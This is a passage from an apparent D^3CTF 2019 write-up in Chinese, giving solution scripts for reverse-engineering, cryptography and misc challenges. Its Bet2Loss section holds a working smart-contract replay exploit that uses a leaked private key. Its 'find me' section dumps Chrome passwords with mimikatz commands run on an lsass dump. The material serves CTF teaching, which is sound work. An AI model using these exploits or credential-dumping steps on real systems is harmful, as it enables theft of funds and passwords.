    0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1,
    0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3,
    0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f,
    0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51,
    0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8,
    0x0a, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0,
    0x89, 0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e, 0xc6, 0x84,
    0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48,
]

# 常数FK
FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc] ; ENCRYPT = 0 ;DECRYPT = 1

# 固定参数CK
CK = 
[
    0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
    0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
    0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
    0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
    0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
    0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
    0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
    0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]

def list_4_8_to_int32(key_data): 
    return int ((key_data[0] << 24) | (key_data[1] << 16) | (key_data[2] << 8) | (key_data[3]))



def n32_to_list4_8(n): 
    return [int ((n >> 24) & 0xff), int ((n >> 16) & 0xff), int ((n >> 8) & 0xff), int ((n) & 0xff)]


def shift_left_n(x, n):
    return int (int (x << n) & 0xffffffff)

def shift_logical_left(x, n):
    return shift_left_n (x, n) | int ((x >> (32 - n)) & 0xffffffff)  #两步合在一起实现了循环左移n位


def XOR(a, b):
    return list (map (lambda x, y: x ^ y, a, b))


def sbox(idx):
    return SboxTable[idx]

def extended_key_LB(ka):      #拓展密钥算法LB
    a = n32_to_list4_8 (ka)                #a是ka的每8位组成的列表
    b = [sbox (i) for i in a]               #在s盒中每8位查找后,放入列表b,再组合成int bb
    bb = list_4_8_to_int32 (b)
    rk = bb ^ (shift_logical_left (bb, 13)) ^ (shift_logical_left (bb, 23))
    return rk

def linear_transform_L(ka):      #线性变换L
    a = n32_to_list4_8 (ka)
    b = [sbox (i) for i in a]
    bb = list_4_8_to_int32 (b)     #bb是经过s盒变换的32位数
    return bb ^ (shift_logical_left (bb, 2)) ^ (shift_logical_left (bb, 10)) ^ (shift_logical_left (bb, 18)) ^ (shift_logical_left (bb, 24)) #书上公式


def sm4_round_function(x0, x1, x2, x3, rk):   #轮函数
    return (x0 ^ linear_transform_L (x1 ^ x2 ^ x3 ^ rk))


class Sm4 (object):
    def __init__(self):
        self.sk = [0] * 32
        self.mode = ENCRYPT

    def sm4_set_key(self, key_data, mode):    #先算出拓展密钥
        self.extended_key_last (key_data, mode)

    def extended_key_last(self, key, mode):   #密钥扩展算法
        MK = [0, 0, 0, 0]
        k = [0] * 36
        MK[0] = list_4_8_to_int32 (key[0:4])
        MK[1] = list_4_8_to_int32 (key[4:8])
        MK[2] = list_4_8_to_int32 (key[8:12])
        MK[3] = list_4_8_to_int32 (key[12:16])
        k[0:4] = XOR (MK, FK)
        for i in range (32):
            k[i + 4] = k[i] ^ (extended_key_LB (k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ CK[i]))
        self.sk = k[4:]   #生成的32轮子密钥放到sk中

        self.mode = mode
        if mode == DECRYPT:      #解密时rki逆序
            self.sk.reverse ()

    def sm4_one_round(self, sk, in_put):   #一轮算法 ,4个32位的字=128bit=16个字节(8*16)
        item = [list_4_8_to_int32 (in_put[0:4]), list_4_8_to_int32 (in_put[4:8]), list_4_8_to_int32 (in_put[8:12]),
                list_4_8_to_int32 (in_put[12:16])]    #4字节一个字,把每4个字节变成32位的int
        x=item

        for i in range (32):
            temp=x[3]
            x[3] = sm4_round_function (x[0], x[1], x[2], x[3], sk[i]) #x[3]成为x[4]
            x[0]=x[1]
            x[1]=x[2]
            x[2]=temp

        res=x
        # res = reduce (lambda x, y: [x[1], x[2], x[3], sm4_round_function (x[0], x[1], x[2], x[3], y)],sk, item) #32轮循环加密
        res.reverse ()
        rev = map (n32_to_list4_8, res)
        out_put = []
        [out_put.extend (_) for _ in rev]
        return out_put

    def encrypt(self, input_data):
        output_data = []
        tmp = [input_data[i:i + 16] for i in range (0, len (input_data), 16)] 
        [output_data.extend (each) for each in map (lambda x: self.sm4_one_round (self.sk, x), tmp)]
        return output_data


def encrypt(mode, key, data):
    sm4_d = Sm4 ()
    sm4_d.sm4_set_key (key, mode)
    en_data = sm4_d.encrypt (data)
    return en_data


def sm4_crypt_cbc(mode, key, iv, data):
    sm4_d = Sm4 ()
    sm4_d.sm4_set_key (key, mode)
    en_data = sm4_d.sm4_crypt_cbc (iv, data)
    return en_data

if __name__ == "__main__":
    key_data = [0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10]
    sm4_d = Sm4 ()
    sm4_d.sm4_set_key (key_data, DECRYPT)
    cipher = [0x3a,0x19,0xac,0xb0,0xa6,0x4e,0xb0,0x6c,0xf8,0x20,0x0f,0x50,0xbb,0xaf,0xd2,0xf5,0x04,0x8e,0x39,0x70,0xb1,0xdd,0x44,0x26,0xa0,0x73,0x87,0x9d,0x15,0xdb,0x69,0x25,0x3a,0x27,0x16,0xb6,0x8a,0xf7,0x67,0x43,0x3b,0x82,0xac,0x26,0x34,0x8f,0x40,0x54,0xad,0x7f,0x3b,0x4d,0xbb,0x8e,0x7b,0xf6,0x18,0x8d,0x55,0x73,0xa5,0xf1,0x7e,0xca]
    print("ndecode:")
    de_data = sm4_d.encrypt (cipher)
    print(bytes(de_data))

machine

出题人:HAPPY@L

考察点:ackerman,xtea

分析apk的so文件。首先idleonce中通过ackerman函数生成array初始值。(可参见Ackermann function)。其生成的array,后一个元素是前一个元素的两倍+3.

跟入verify对应的native函数地址,这里其实是两次XTEA加密,分别对前半flag和后半flag进行加密。第一次是32轮,密钥由之前生成的array的第8-11个数组成,分别为2045,4093,8189,16381。第二次为64轮,密钥为1107,4096,524285,262141。其中,1107是多个反调试函数的返回值,直接静态分析不难发现如果没有检测到调试器,其返回值应该是1107。

静态分析可得,密文分别为

246553640 2138606322
-1227780298 -783437692

解密脚本

void encrypt ( unsigned long* v, unsigned long* key ) {
    unsigned long l = v[0], r = v[1], sum = 0, delta = 0x9e3779b9;

    for ( size_t i = 0; i < 32; i++ ) {
        l += ( ( ( r << 4 ) ^ ( r >> 5 ) ) + r ) ^ ( sum + key[sum & 3] );
        sum += delta;
        r += ( ( ( l << 4 ) ^ ( l >> 5 ) ) + l ) ^ ( sum + key[ ( sum >> 11 ) & 3] );
    }

    v[0] = l;
    v[1] = r;
}

void decrypt ( unsigned long* v, unsigned long* key, unsigned int count ) {
    unsigned long l = v[0], r = v[1], sum = 0, delta = 0x9e3779b9;
    sum = delta * count;

    for ( size_t i = 0; i < count; i++ ) {
        r -= ( ( ( l << 4 ) ^ ( l >> 5 ) ) + l ) ^ ( sum + key[ ( sum >> 11 ) & 3] );
        sum -= delta;
        l -= ( ( ( r << 4 ) ^ ( r >> 5 ) ) + r ) ^ ( sum + key[sum & 3] );
    }

    v[0] = l;
    v[1] = r;
}

int main ( int argc, char const* argv[] ) {
    unsigned long v[2] = {0, 0};    
    unsigned long key[] = {2045, 4093, 8189, 16381};
    unsigned long key2[] = { 1107 ,4093, 524285 ,262141 };
    v[0] = 246553640 ;
    v[1] = 2138606322;
    decrypt ( v, key, 32 );
    for ( int i = 0; i < 8; i++ )
        printf ( "%c" , (( char* ) v)[i] );
    v[0] = -1227780298;
    v[1] = -783437692;
    decrypt ( v, key2, 64 );
    for (int i = 0; i < 8; i++)
        printf("%c", ((char*)v)[i]);
    return 0;
}

 

Crypto

Common

出题人:Lurkrul

考察点:shortest vector problem

  1. 简单的 Factoring with High Bits Known, sage 构造对应 polynomial 使用自带的 small_roots 可以解出 hint = '3-540-46701-7_14 or 2009/037'
  2. 根据提示, 参考 [1] [2]

记 Wiener equations 和 Guo equations 为

Wi : e_i d_i g − k_i N = g − k_i s
G
{i,j} : k_i d_j e_j − k_j d_i e_i = k_i − k_j

则 $k1 k_2 = k_1 k_2, k_2 W_1, g G{1,2}, W_1 W_2$ 转化成矩阵形式, 有 $x B = v$, 其中

x = (k_1 k_2, k_2 d_1 g, k_1 d_2 g, d_1 d_2 g^2 )
B = begin{bmatrix}
1 & −N & 0 & N^2
& e_1 & −e_1 & −e_1 N
& & e_2 & −e_2 N
& & & e_1 e_2
end{bmatrix}
v = ( k_1 k_2, k_2 (g − k_1 s), g(k_1 − k_2 ), (g − k_1 s)(g − k_2 s) )

令 $D = diag(N, N^{1/2}, N^{1+δ}, 1)$, 使其满足 Minkowski’s bound, 有 $||vD|| < vol(L) = |det(B) det(D)|$
即 $N^{2(1/2+δ)} < 2N^{(13/2+δ)/4}$, $delta < 5/14 – epsilon$.

  1. 利用 LLL 求出最短向量 $vD$, 进而求出 $x$, 根据 Wiener’s attack,$varphi(N) = g(ed-1)/k = lfloor{edg/k}rfloor$
  2. 有了 $varphi(N)$ 即可构造一元二次方程分解 $N$.
#!/usr/bin/sage -python
from sage.all import *
from Crypto.Util.number import long_to_bytes
import gmpy2


_p = p0 - (p0&(2**668-2**444))
PR = PolynomialRing(Zmod(N1), 'x')
x = PR.gen()
f = 2**444 * x + _p
f = f.monic()
r = f.small_roots(X=2**224, beta=0.5)
p1 = ZZ(_p + r[0]*2**444)
hint = ( p1.__xor__(p0) )>>444
print long_to_bytes(hint)


alpha2 = 700./2048
M1 = int(gmpy2.mpz(N)**0.5)
M2 = int( gmpy2.mpz(N)**(1+alpha2) )
D = diagonal_matrix(ZZ, [N, M1, M2, 1])
B = Matrix(ZZ, [ [1, -N,   0,  N**2],
                 [0, e1, -e1, -e1*N],
                 [0,  0,  e2, -e2*N],
                 [0,  0,   0, e1*e2] ]) * D

L = B.LLL()

v = Matrix(ZZ, L[0])
x = v * B**(-1)
phi = (x[0,1]/x[0,0]*e1).floor()

PR = PolynomialRing(ZZ, 'x')
x = PR.gen()
f = x**2 - (N-phi+1)*x + N
p, q = f.roots()[0][0], f.roots()[1][0]

d = inverse_mod( 65537, (p-1)*(q-1) )
m = power_mod(c, d, N)
print long_to_bytes(m)

sign2win

出题人:bubbles

考察点:ECDSA duplicate signature

题目给了一个ECDSA的签名与验证的服务,观察最后获取flag的要求,需要提供一个签名,可以使用两个不同的消息来验证它并通过,这里其实是ECDSA的一个特性,可以寻找到一个私钥来满足对不同消息的重复的签名

假设我们需要签名的消息为m1和m2,则它们的摘要分别为h1=H(m1),h2=H(m2),然后我们选择一个随机数k来计算签名中的r,因为要生成相同的签名那也就是r和s都相同,首先r相同那就表示签名所选择的随机数k是相同的,这样我们就有

(x1,y1) = k*G

r = x1 mod n

这样利用r,h1,h2我们就可以计算对h1的签名在h2也能验证通过的私钥了

pri = -(h1+h2)/(2*r) mod n

下面我们不妨简单验证下,用pk签名我们可以得到s

s = k^-1(h+pri*r) mod n

验证签名要求下面的等式成立

r = h*s^-1*G+r*s^-1*pub mod n

r = h*s^-1*G+r*s^-1*pri*G mod n

r = s^-1*G*(h+r*pri) mod n

从前面对pri的计算我们可以得到

r*pri = -(h1+h2)/2 mod n

这样假设我们签名的消息是h1时,前面的等式就如下

r = s^-1*G*(h1-(h1+h2)/2) mod n

r = G*(h2-h1)/2s mod n

同样的将pri代入s,即有

s = (h2-h1)/2k mod n

代回前面的等式,就能得到

r = G*k mod n

等式成立,同理可得签名的消息为h2时等式依然成立

exp如下

import ecdsa
import gmpy
from ecdsa import SECP256k1
import hashlib

m1="I want the flag"
m2="I hate the flag"

ks = 70072565845091379839538401416782237438929290760763328213667318793346806056450
r=23372277234339732161528747619365498567249265222314495344099167639942101343337

sk = ecdsa.SigningKey.generate(curve=SECP256k1)

n = sk.curve.order

h1=hashlib.sha256(m1.encode("utf-8"))
hs=h1.digest()
z1 = ecdsa.util.string_to_number(h1.digest())%n
h2=hashlib.sha256(m2.encode("utf-8"))
z2 = ecdsa.util.string_to_number(h2.digest())%n

x=-((z1+z2)* gmpy.invert(2*r, n)) %n

sk1 = sk.from_secret_exponent(x,sk.curve)

vk1=sk1.get_verifying_key()
print('pubkey:',vk1.to_string().hex())

sig=sk1.sign(m1.encode('utf-8'),k=ks,hashfunc=hashlib.sha256)
print('sign:',sig.hex())

Noise

出题人:JHSN@CNSS

考察点:数论构造

$n$ 是一个未知整数 (1024 bits)。你可以访问一个黑盒函数不超过 50 次:给定一个非负整数 $x$,返回 $f(x) = (x + r) bmod n$,$r$ 是一个每次都重新生成的随机数 (1000 bits)。 求 $n$。

一种比较自然的想法是二分查找,但这样每次只能获取到 1 bit 信息且当区间大小接近噪声大小时就无法再缩小范围了。不过我们可以以这种方式切入,假设已知某个范围并想办法缩小它。

假设我们已有 $[L, R]$ 满足 $n in [L, R]$。如果我们可以找到一对 $(I, t)$ 对于所有可能的 $n$ 和 $r$ 都满足:

f(I) = (I + r) bmod n = I + r – tn

tn = I – f(I) + r

那么显然 $I – f(I) + r$ 是 $t$ 的倍数,它的范围只和 $r$ 有关。所以可得 $n$ 的新区间:

n = frac{I – f(I) + r}{t} in left [ frac{I – f(I) + r{min}}{t} , frac{I – f(I) + r{max}}{t} right ]

$r$ 的范围是 $left [0, 2^{1000} right ]$。令 $s = r_{max} = 2^{1000}$,则上述区间长度大约是 $frac{s}{t}$。

现在的问题就转化为如何选取一对合适的 $(I, t)$ 并且 $t$ 尽可能大,这样得到的新区间就尽可能小。回到一开始的假设上,

forall r in [0, s], n in [L, R], quad tn leq I + r < (t+1)n

(tn – r){max} leq I < ((t + 1)n – r){min}

则有

(tn – r){max} = tR quad < quad ((t + 1)n – r){min} = (t + 1)L – s

Leftrightarrow quad tR leq (t + 1)L – s – 1

Leftrightarrow quad t leq frac{L – s – 1}{R-L}

只要 $t$ 满足这个条件,我们就可以找到对应的 $I$。除此之外,因为 $t$ 参与除法,所以还有一个下界 $tgeq 1$,由此我们可以得到对 $L, R$ 的限制条件:

1 leq t leq frac{L – s – 1}{R-L} quad Rightarrow quad 2Lgeq R + s + 1

有两种方法来设置合法的初始 $[L, R]$:

  1. 直接假设 $n$ 落在 $left [2^{1023}, 2^{1024} right ]$(这样的概率大约是 50%,所以如果假设不成立就多试几次)
  2. 二分查找(这是一种很显然的方法,详见 exp

综上所述,首先选取一对 $L, R$ 作为 $n$ 的初始范围.然后令 $t$ 为最大值 $frac{L – s – 1}{R-L}$ 并在区间 $[tR, (t + 1)L – s – 1]$ 中选择一个 $I$,由此可得新区间

n in left [ left lceil frac{I – f(I)}{t}right rceil, left lfloor frac{I – f(I) + s}{t}right rfloor right ]

更新 $[L, R]$ 的值重复上述过程。$n$ 的范围跨度从 $Delta sim R-L$ 缩小到 $Delta’ sim frac{s}{t}$,有

Delta’ sim frac{s}{t} sim frac{s(R-L)}{L-s-1} sim frac{sDelta}{L-s} sim frac{sDelta}{n}

所以迭代次数大约是 $log_s n$,一般在 45 次左右(同样如果一次不行,就多试几次)

FYI:这是一般性的做法。如果直接做一些假设(譬如假设 $n$ 落在某个范围,令 $I = tR$ 等等),可以省略掉一些繁琐的步骤得到一些更简单但需要多试几次的做法。

Bivariate

出题人:Lurkrul

考察点:coppersmith attack

给出 RSA 其中一素数的中间位, 可以得到一个二元一次方程, 典型的 coppersmith method.

对于求解一个多元线性同余式的 small roots, 最先由 Herrmann 和 May 在 Asiacrypt 2008 提出具体解法.

为了最大化可解根的上界, 他们选择了尽可能多的helpful多项式, 这也意味着高阶的格基.

但是在解题时, 我们对速度更感兴趣.

题目描述中藏有 hint, 与维基中Coppersmith method的定义对比,可以发现多了 “Coppersmith in the Wild”.

根据论文的实现细节,我们可以使用多项式集合的系数向量构造一个低维的格基

G:={y^h x^i f^j N^l | j + l = 1,0 leq h + i + j leq k}

并在更短的时间内解决问题. (以上渣翻)

两个月前出的题, 在收到选手的 wp 后, 才发现 11 月上旬 github 上有相关的代码实现了该方案. 另外, 0ops的师傅的三变量解法也很好, 感谢.

PR = PolynomialRing(Zmod(N), names='x,y')
x, y = PR.gens()
pol = 2**924 * x + y + p0

def bivariate(pol, XX, YY, kk=3):
    N = pol.parent().characteristic()

    f = pol.change_ring(ZZ)
    PR,(x,y) = f.parent().objgens()

    idx = [ (k-i, i) for k in range(kk+1) for i in range(k+1) ]
    monomials = map(lambda t: PR( x**t[0]*y**t[1] ), idx)
    # collect the shift-polynomials
    g = []
    for h,i in idx:
        if h == 0:
            g.append( y**h * x**i * N )
        else:
            g.append( y**(h-1) * x**i * f )

    # construct lattice basis
    M = Matrix(ZZ, len(g))
    for row in range( M.nrows() ):
        for col in range( M.ncols() ):
            h,i = idx[col]
            M[row,col] = g[row][h,i] * XX**h * YY**i

    # LLL
    B = M.LLL()

    PX = PolynomialRing(ZZ, 'xs')
    xs = PX.gen()
    PY = PolynomialRing(ZZ, 'ys')
    ys = PY.gen()

    # Transform LLL-reduced vectors to polynomials
    H = [ ( i, PR(0) ) for i in range( B.nrows() ) ]
    H = dict(H)
    for i in range( B.nrows() ):
        for j in range( B.ncols() ):
            H[i] += PR( (monomials[j]*B[i,j]) / monomials[j](XX, YY) )

    # Find the root
    poly1 = H[0].resultant(H[1], y).subs(x=xs)
    poly2 = H[0].resultant(H[2], y).subs(x=xs)
    poly = gcd(poly1, poly2)
    x_root = poly.roots()[0][0]

    poly1 = H[0].resultant(H[1], x).subs(y=ys)
    poly2 = H[0].resultant(H[2], x).subs(y=ys)
    poly = gcd(poly1, poly2)
    y_root = poly.roots()[0][0]

    return x_root, y_root


x, y = bivariate(pol, 2**100, 2**100)
p = 2**924 * x + y + p0
q = N//p
assert p*q==N

babyecc

出题人:gmcn@CNSS

考察点:基础数论知识

出题思路来自于 CryptoCTF 2019Super Natural,但是当时出题人参数设置失误,导致该题无解。

在本题中,求曲线的参数 $A$,需要用到 Carmichael theory(卡米歇尔定理)

Carmichael theory(卡米歇尔定理):对满足 $gcd(a, n) = 1$ 的所有 $a$,使得 $a^m equiv 1 bmod n$ 同时成立的最小正整数 $m$,称为 $n$ 的卡米歇尔函数,记为 $lambda(n)$。

本题中有 $lambda(n) = frac{1}{2}phi(n) = 2^{alpha-2}, quad n = 2^{alpha}, alpha gt 2$

第二个则考察中国剩余定理

在模 $n$ 的曲线上能够分解到模 $p$,模 $q$ 的曲线上,并且能够使用中国剩余定理还原的简单证明如下:

对于 $p,q$ 是素数,$n=ptimes q$,则 $a equiv b bmod n$ 等价于
begin{cases}
a equiv b bmod p
a equiv b bmod q
end{cases}

上述式子在椭圆曲线上也成立

exp 如下

mid_a = euler_phi(pow(2, 253)) / 2
useless_num1 = 84095692866856349150465790161000714096047844577928036285412413565748251721
A = mid_a + useless_num1
N = 45260503363096543257148754436078556651964647703211673455989123897551066957489
p = 136974486394291891696342702324169727113
q = 330430173928965171697344693604119928553

P = (44159955648066599253108832100718688457814511348998606527321393400875787217987,
     41184996991123419479625482964987363317909362431622777407043171585119451045333)
Q = (6856607779216667472822134501915718711944054464462866581688216679749429584974,
     37306843623514161736361170354186251255656545843342522443684235257196063601639)
x_P, y_P = P
x_Q, y_Q = Q
B = (y_P^2 - x_P^3 - A * x_P) % N

F = IntegerModRing(N)
F1 = FiniteField(p)
F2 = FiniteField(q)
E = EllipticCurve(F, [A, B])
E1 = EllipticCurve(F1,[A,B])
E2 = EllipticCurve(F2,[A,B])

print(E1.order().factor())
print(E2.order().factor())

P = E(P)
Q = E(Q)
P1 = E1(P)
P2 = E2(P)
Q1 = E1(Q)
Q2 = E2(Q)

print("-" * 50)
print(P1)
print(Q1)
d1 = discrete_log(Q1, P1, P1.order(), operation="+")
print(d1 * P1)
print("d1 =", d1)
print(P2)
print(Q2)
d2 = discrete_log(Q2, P2, P2.order(), operation="+")
print(d2 * P2)
print("d2 =", d2)
print("-" * 50)

d = crt([d1, d2], [P1.order(), P2.order()])
print(d)
assert d * P == Q

flag = "d3ctf{" + hex(d).decode("hex") + "}"
print(flag)

 

Misc

Bet2Loss_v2

出题人:Lurkrul, kevin

考察点:replay attack

本题改编自 HCTF 2018 bet2loss; bet2loss 的 web 源码已于 github 公开 [1].

在 settings.py 中有泄漏 croupier 的私钥, onlyCroupier 的函数可以直接拿此账号调用.

注意到 bet 绑定 player, settleBet() 可以施行 replay attack, 收益与重放次数以及 diceWin 有关. 由于限制了开注次数, 因此需要最大化 diceWin (运气好, all in 成功了我也没话说). 每次 bet 最多获得 100k, flag 需要 300k, 开注一次,重放两次即可.

计算 dice 的方法伪随机, 拿到账号后可以自己实现签名, 需要预测的是 block.number. 这可以部署合约来提前获取. settleBet()里有个 isContract(), 它是通过 extcodesize 来判断, 但是从 constructor 中调用时返回 0 [2]. 综上, 可以部署合约来实现稳赢.

实际比赛中, 几乎没有队伍去考虑绕过 isContract(), 还有队伍没发现泄漏的私钥直接爆破 reveal 和 web 层交互的. 一波骚操作简直亮瞎狗眼.

注意到有些队伍生成签名的时候卡住了, 这里稍微提一下. 合约中看起来并没有改过, 但是 commitLastBlock 的类型变了, 然而 abi.encodePacked() 返回内容会随类型改变 [3], 所以 HCTF 那题的代码并不能直接拿来用.

from web3 import Web3
from solc import compile_source
import os, random

infura_url = 'https://ropsten.infura.io/v3/xxx'
web3 = Web3(Web3.HTTPProvider(infura_url))
accounts = {
    'player': {
        'addr': '0x8F1D24E114aA84bC66d8950142008348b4c6cEd0',
        'priv': ''
    }, 
    'croupier': {
        'addr': '0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C',
        'priv': '6F08D741943990742381E1223446553A63B38A3AA86BEEF1E9FC5FCF61E66D12'
    }
}


def sign(reveal):
    result = {'reveal':reveal}

    commitLastBlock = web3.eth.blockNumber + 250
    result['commitLastBlock'] = commitLastBlock

    commit = web3.sha3( reveal.to_bytes(32, 'big') )
    result['commit'] = int.from_bytes(commit, 'big')

    message = commitLastBlock.to_bytes(5, 'big') + commit
    message_hash = web3.sha3(message)
    signature = web3.eth.account.signHash(message_hash, private_key=accounts['croupier']['priv'])
    result['r'] = signature['r']
    result['s'] = signature['s']
    result['v'] = signature['v']

    return result


def transact(_to, _data):
    tx = {
        'from': defaultAccount['addr'],
        'nonce': web3.eth.getTransactionCount(defaultAccount['addr']),
        'to': _to,
        'gas': 1000000,
        'value': 0,
        'gasPrice': web3.eth.gasPrice * 2,
        'data': _data,
    }
    signed_tx = web3.eth.account.signTransaction(tx, defaultAccount['priv'])
    tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)
    tx_receipt = web3.eth.waitForTransactionReceipt(tx_hash)
    return tx_receipt


def settleBet():
    transact( gameAddress, web3.sha3(b'settleBet(uint256)')[:4].hex() + hex(reveal)[2:].rjust(64, '0') )


def getFlag():
    transact( attackAddress, web3.sha3(b'getFlag()')[:4].hex() )


attack = '''pragma solidity ^0.4.24;
contract Attack {
    address constant croupier = 0xACB7a6Dc0215cFE38e7e22e3F06121D2a1C42f6C;
    uint8 constant modulo = 100;
    uint40 constant wager = 1000;
    uint8 betnumber;
    address game;

    constructor(address _game, uint40 commitLastBlock, uint commit, bytes32 r, bytes32 s, uint8 v, uint reveal) public {
        game = _game;
        bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));
        require (croupier == ecrecover(signatureHash, v, r, s), "signature is not valid.");
        require (commit == uint(keccak256(abi.encodePacked(reveal))), "commit is not valid.");

        bytes32 entropy = keccak256(abi.encodePacked(reveal, uint(block.number)));
        uint _betnumber = uint(entropy) % uint(modulo);
        betnumber = uint8(_betnumber);

        game.call(bytes4(keccak256("placeBet(uint8,uint8,uint40,uint40,uint256,bytes32,bytes32,uint8)")),betnumber,modulo,wager,commitLastBlock,commit,r,s,v);

    }

    function getFlag() external {
        game.call(bytes4(keccak256("PayForFlag()")));
        selfdestruct(0);
    }

}'''


defaultAccount = accounts['player']
gameAddress = ''

reveal = random.randint(1, 2**40)
result = sign(reveal)

compiled_sol = compile_source(attack)
contract_interface = compiled_sol['<stdin>:Attack']
bytecode = contract_interface['bin']
bytecode += gameAddress[2:].rjust(64, '0')
bytecode += hex( result['commitLastBlock'] )[2:].rjust(64, '0')
bytecode += hex( result['commit'] )[2:].rjust(64, '0')
bytecode += hex( result['r'] )[2:].rjust(64, '0')
bytecode += hex( result['s'] )[2:].rjust(64, '0')
bytecode += hex( result['v'] )[2:].rjust(64, '0')
bytecode += hex( result['reveal'] )[2:].rjust(64, '0')
tx = {
    'from': defaultAccount['addr'],
    'nonce': web3.eth.getTransactionCount(defaultAccount['addr']),
    'gas': 1000000,
    'value': 0,
    'gasPrice': web3.eth.gasPrice * 2,
    'data': '0x' + bytecode,
}
signed_tx = web3.eth.account.signTransaction(tx, defaultAccount['priv'])
tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction)
tx_receipt = web3.eth.waitForTransactionReceipt(tx_hash)
attackAddress =  tx_receipt.contractAddress
print('attack Address: ' + attackAddress)


defaultAccount = accounts['croupier']
for _ in range(3):
    settleBet()
    print('settleBet')


defaultAccount = accounts['player']
getFlag()
print('done')

c+c

出题人:AiHimmel

考察点:字体, win32 hook

(这道题当初应该叫magic font的)

根据readme文件,flag就在此文件中。

用十六进制编辑器检查发现文件尾部有特殊字符.用UTF-8解码得到字符U+E000。

查阅Unicode定义发现此字符为私用区),需要字体自行实现。

-><- 就是这个字符,可能根据浏览器以及字体设置的不同显示不同的内容

所以需要获取到字体。

显然这里指的是游戏内的字体。

脱掉upx壳,对程序逻辑就行逆向。

发现调用了gdi32中的AddFontMemResourceEx函数,下断点。

继续运行游戏,断下时发现有inline hook的特征,跟进。

(对程序处理Fonts.arc的逻辑就行逆向,或者直接在调用入口处dump都是陷阱)

(注:win10上的gdi32是gdi32full的wrapper,需要跟进第一个jmp才能发现hook)

在hook里面对一段内存就行了解密并替换了原函数参数。

dump出来再安装到系统里,在记事本中切换字体即可看到flag.

(看不清楚就放大放大再放大)

find me

出题人:Ansible@Vidar

考察点:Chrome密码解密

用十六编辑器打开文件,拉到最后可以看到里面隐藏了一个压缩包。
但是用 binwalk 无法识别,可以判断出文件头和文件尾被改掉了。
先找到 jpg 文件的文件尾为 FF D9 (00028592),更改后面的 0000 为压缩包的文件头 50 4B 03 04
然后拖到最后找到 D5 01 处后的 00 00 00 00 改成 PK50 4B 05 06
恢复提取出来得到一个新的压缩包,有密码。
在图片的注释信息里看到作者是 LSCHZNMHW。得到压缩包密码:LSCHZNMHW
里面有个 Login Data。看文件头可以看出是 SQLite 数据库。
这个 Login Data,了解过 Chrome 浏览器的小伙伴应该知道,Chrome 保存的本地密码保存在这里。
先导出密文:

import sqlite3
import binascii
conn = sqlite3.connect("Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
    print (binascii.b2a_hex(result[2]))
    f = open('test.txt', 'wb')
    f.write(result[2])
    f.close()

然后从 lsass 进程中提取出 Master Key

> sekurlsa::minidump lsass.dmp
> sekurlsa::dpapi

导出 Master Key 后系统会自动加入缓存,然后解密:

> dpapi::blob /in:test.txt
data : 64 33 63 74 66 7b 49 5f 4c 6f 56 65 5f 46 69 52 65 46 6f 78 21 40 23 7d # 密码的十六进制

十六进制转字符串就是最后的 flagd3ctf{I_LoVe_FiReFox!@#}

vera

出题人:去去去

考察点:光栅加密(冒险小虎队

题目名叫Vera,且题面中提到了加密,估计用了 VeraCrypt 软件进行的加密。

装载发现有密码,密码长度可能是13位,猜测密码为该书的ISBN号,成功解密。

打开后发现一个jpg文件

虽然大部分字母都有重叠,但有几行还是比较清楚的,可以作为找光栅宽度和间距的依据,比如:

这里的f、o就很容易找到相应的填充。

然后就是等距离填充,移动一下就能得到flag了


D^3CTF 2019 赛事由 AFSRC、Pwnhub 联合赞助

 

 

(完)